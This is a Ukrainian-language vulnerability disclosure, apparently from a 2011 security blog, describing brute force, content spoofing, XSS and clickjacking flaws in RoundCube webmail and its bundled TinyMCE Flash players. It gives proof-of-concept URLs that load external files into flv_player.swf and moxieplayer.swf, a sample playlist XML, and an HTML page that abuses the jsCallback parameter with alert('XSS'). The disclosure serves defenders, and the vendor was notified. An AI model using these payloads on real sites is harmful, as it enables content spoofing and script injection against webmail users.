Численні уразливості в RoundCube
17:20 30.11.201118.10.2011
В жовтні, 12.10.2011, а також додатково 15.10.2011, я знайшов численні уразливості в RoundCube. Це Brute Force, Content Spoofing, Cross-Site Scripting та Clickjacking уразливості. Частина з цих дірок - це уразливості в TinyMCE, що постачається з RoundCube. Про що найближчим часом повідомлю розробникам.
Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам веб додатку.
30.11.2011
Brute Force:
http://site/index.php
Content Spoofing:
Можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті.
http://site/program/js/tiny_mce/plugins/media/img/flv_player.swf?flvToPlay=http://site2/1.flv
http://site/program/js/tiny_mce/plugins/media/img/flv_player.swf?autoStart=false&startImage=http://site2/1.jpg
http://site/program/js/tiny_mce/plugins/media/img/flv_player.swf?flvToPlay=http://site2/1.flv&autoStart=false&startImage=http://site2/1.jpg
http://site/program/js/tiny_mce/plugins/media/img/flv_player.swf?flvToPlay=http://site2/1.xml
Через xml-файл, розміщений на поточному чи зовнішньому ресурсі, можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті (параметри thumbnail та url в xml-файлі приймають довільні адреси).
Файл 1.xml:
<?xml version="1.0" encoding="UTF-8"?>
<playlist>
<item name="Content Spoofing" thumbnail="1.jpg" url="1.flv"/>
<item name="Content Spoofing" thumbnail="2.jpg" url="2.flv"/>
</playlist>
XSS:
<html>
<body>
<script>
function flvStart() {
alert('XSS');
}
function flvEnd() {
alert('XSS');
}
</script>
<object width="50%" height="50%">
<param name=movie value="flv_player.swf?flvToPlay=1.flv&jsCallback=true">
<param name=quality value=high>
<embed src="flv_player.swf?flvToPlay=1.flv&jsCallback=true" width="50%" height="50%" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash"></embed>
</object>
</body>
</html>
Якщо на сайті на сторінці з flv_player.swf (з параметром jsCallback=true, або якщо є можливість вказати цей параметр для flv_player.swf) є можливість включити JS код з функцією flvStart() і/або flvEnd() (через HTML Injection), то можна провести XSS атаку. Тобто JS-калбеки можна використати для XSS атаки.
Content Spoofing:
http://site/program/js/tiny_mce/plugins/media/moxieplayer.swf?url=http://site2/1.flv
Можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті.
Clickjacking:
RoundCube вразливий до віддаленого логіну з використанням Clickjacking. Про дані атаки я вже розповідав в своїй статті.
В версії RoundCube 0.6-RC доданий захист от Clickjacking атак (окрім вищезгаданої форми логіну), до якого вразливий весь функціонал додатку. Але захист недостатньо ефективний, так як спрацьовує лише в нових версіях деяких браузерів, тому користувачі старих браузерів будуть незищені. Ну, а старі версії RoundCube повністю вразливі до Clickjacking.
CS та XSS - це уразливості в TinyMCE.
Уразливі RoundCube 0.6 та попередні версії (перевірялося в 0.4-beta та 0.6). В останній версії RoundCube 0.6 використовує moxieplayer.swf (замість flv_player.swf). Як повідомили мені розробники, в версії RoundCube 0.7 уразливості будуть виправлені.